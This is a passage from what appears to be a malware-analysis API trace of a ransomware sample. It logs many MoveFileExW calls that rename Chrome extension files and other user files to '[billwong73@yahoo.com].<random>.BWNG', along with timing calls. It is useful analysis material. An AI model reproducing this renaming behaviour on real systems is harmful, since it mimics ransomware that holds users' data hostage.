data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\[billwong73@yahoo.com].dg48NMbc-V2BNi199.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\[billwong73@yahoo.com].dg48nmbc-v2bni199.bwng"), dwFlags=0x1) returned 1 [0133.289] GetTickCount () returned 0x1168c49 [0133.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27524145682) returned 1 [0133.290] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\[billwong73@yahoo.com].2OOsF9N7-XbEgK2go.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\[billwong73@yahoo.com].2oosf9n7-xbegk2go.bwng"), dwFlags=0x1) returned 1 [0133.291] GetTickCount () returned 0x1168c49 [0133.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27524367278) returned 1 [0133.292] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\[billwong73@yahoo.com].kAMJ58PX-meB8sE47.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\[billwong73@yahoo.com].kamj58px-meb8se47.bwng"), dwFlags=0x1) returned 1 [0133.293] GetTickCount () returned 0x1168c49 [0133.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27524548701) returned 1 [0133.294] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\[billwong73@yahoo.com].5xhMnezc-7WLKXGGE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\[billwong73@yahoo.com].5xhmnezc-7wlkxgge.bwng"), dwFlags=0x1) returned 1 [0133.295] GetTickCount () returned 0x1168c49 [0133.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27524717184) returned 1 [0133.295] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\[billwong73@yahoo.com].UpOANJLr-NgWSvBGE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\[billwong73@yahoo.com].upoanjlr-ngwsvbge.bwng"), dwFlags=0x1) returned 1 [0133.297] GetTickCount () returned 0x1168c49 [0133.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27524881020) returned 1 [0133.297] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\[billwong73@yahoo.com].p5E6H3vh-RBPaurgV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\[billwong73@yahoo.com].p5e6h3vh-rbpaurgv.bwng"), dwFlags=0x1) returned 1 [0133.298] GetTickCount () returned 0x1168c49 [0133.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27525053076) returned 1 [0133.299] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\[billwong73@yahoo.com].g3ZAh11s-guyyQug2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\[billwong73@yahoo.com].g3zah11s-guyyqug2.bwng"), dwFlags=0x1) returned 1 [0133.300] GetTickCount () returned 0x1168c49 [0133.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27525213321) returned 1 [0133.300] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\[billwong73@yahoo.com].dT1HaAPM-wzP78P9f.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\[billwong73@yahoo.com].dt1haapm-wzp78p9f.bwng"), dwFlags=0x1) returned 1 [0133.302] GetTickCount () returned 0x1168c49 [0133.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27525376786) returned 1 [0133.302] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\[billwong73@yahoo.com].tUPNECpR-SuTFyhGJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\[billwong73@yahoo.com].tupnecpr-sutfyhgj.bwng"), dwFlags=0x1) returned 1 [0133.320] GetTickCount () returned 0x1168c68 [0133.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27527253264) returned 1 [0133.321] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\[billwong73@yahoo.com].dii1RnTP-YqGm29Wk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\[billwong73@yahoo.com].dii1rntp-yqgm29wk.bwng"), dwFlags=0x1) returned 1 [0133.323] GetTickCount () returned 0x1168c68 [0133.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27527506096) returned 1 [0133.323] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\[billwong73@yahoo.com].MCoHEKgx-ZyWLsdrQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\[billwong73@yahoo.com].mcohekgx-zywlsdrq.bwng"), dwFlags=0x1) returned 1 [0133.324] GetTickCount () returned 0x1168c68 [0133.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27527655432) returned 1 [0133.325] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\[billwong73@yahoo.com].6grbz9q2-Jv6ttklS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\[billwong73@yahoo.com].6grbz9q2-jv6ttkls.bwng"), dwFlags=0x1) returned 1 [0133.326] GetTickCount () returned 0x1168c68 [0133.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27527834297) returned 1 [0133.326] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\[billwong73@yahoo.com].aoE8S9Pb-JhZj8aga.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\[billwong73@yahoo.com].aoe8s9pb-jhzj8aga.bwng"), dwFlags=0x1) returned 1 [0133.328] GetTickCount () returned 0x1168c68 [0133.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27527987272) returned 1 [0133.328] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\[billwong73@yahoo.com].fnl7rIy9-7soSuQg1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\[billwong73@yahoo.com].fnl7riy9-7sosuqg1.bwng"), dwFlags=0x1) returned 1 [0133.329] GetTickCount () returned 0x1168c68 [0133.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27528139345) returned 1 [0133.329] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\[billwong73@yahoo.com].abMN9rfy-e2GHs24k.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\[billwong73@yahoo.com].abmn9rfy-e2ghs24k.bwng"), dwFlags=0x1) returned 1 [0133.331] GetTickCount () returned 0x1168c68 [0133.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27528303393) returned 1 [0133.331] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\[billwong73@yahoo.com].R6kDBhjG-jo64wm5E.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\[billwong73@yahoo.com].r6kdbhjg-jo64wm5e.bwng"), dwFlags=0x1) returned 1 [0133.332] GetTickCount () returned 0x1168c68 [0133.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27528461178) returned 1 [0133.333] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\[billwong73@yahoo.com].ZbxUPNxF-kuqVtPcc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\[billwong73@yahoo.com].zbxupnxf-kuqvtpcc.bwng"), dwFlags=0x1) returned 1 [0133.463] GetTickCount () returned 0x1168cf4 [0133.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27541571867) returned 1 [0133.464] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\[billwong73@yahoo.com].OwLrEB99-3lIsr0kC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\[billwong73@yahoo.com].owlreb99-3lisr0kc.bwng"), dwFlags=0x1) returned 1 [0133.465] GetTickCount () returned 0x1168cf4 [0133.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27541754488) returned 1 [0133.466] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].yqazURm6-kAc8EZGL.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].yqazurm6-kac8ezgl.bwng"), dwFlags=0x1) returned 1 [0133.467] GetTickCount () returned 0x1168cf4 [0133.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27541909618) returned 1 [0133.467] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\[billwong73@yahoo.com].fWPJZJkn-jrxGyWde.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\[billwong73@yahoo.com].fwpjzjkn-jrxgywde.bwng"), dwFlags=0x1) returned 1 [0133.469] GetTickCount () returned 0x1168cf4 [0133.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27542086776) returned 1 [0133.469] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\[billwong73@yahoo.com].2KhRvuIq-Hx3rb4Es.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\[billwong73@yahoo.com].2khrvuiq-hx3rb4es.bwng"), dwFlags=0x1) returned 1 [0133.470] GetTickCount () returned 0x1168cf4 [0133.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27542352502) returned 1 [0133.472] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\[billwong73@yahoo.com].j72vcyPQ-hPk56n1p.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\[billwong73@yahoo.com].j72vcypq-hpk56n1p.bwng"), dwFlags=0x1) returned 1 [0133.473] GetTickCount () returned 0x1168cf4 [0133.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27542515541) returned 1 [0133.473] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\[billwong73@yahoo.com].T8cwGXDW-GLgM7qjb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\[billwong73@yahoo.com].t8cwgxdw-glgm7qjb.bwng"), dwFlags=0x1) returned 1 [0133.474] GetTickCount () returned 0x1168d04 [0133.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27542661256) returned 1 [0133.475] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\[billwong73@yahoo.com].MDv8Rt2p-fFX53pNj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\[billwong73@yahoo.com].mdv8rt2p-ffx53pnj.bwng"), dwFlags=0x1) returned 1 [0133.476] GetTickCount () returned 0x1168d04 [0133.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27542823037) returned 1 [0133.476] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 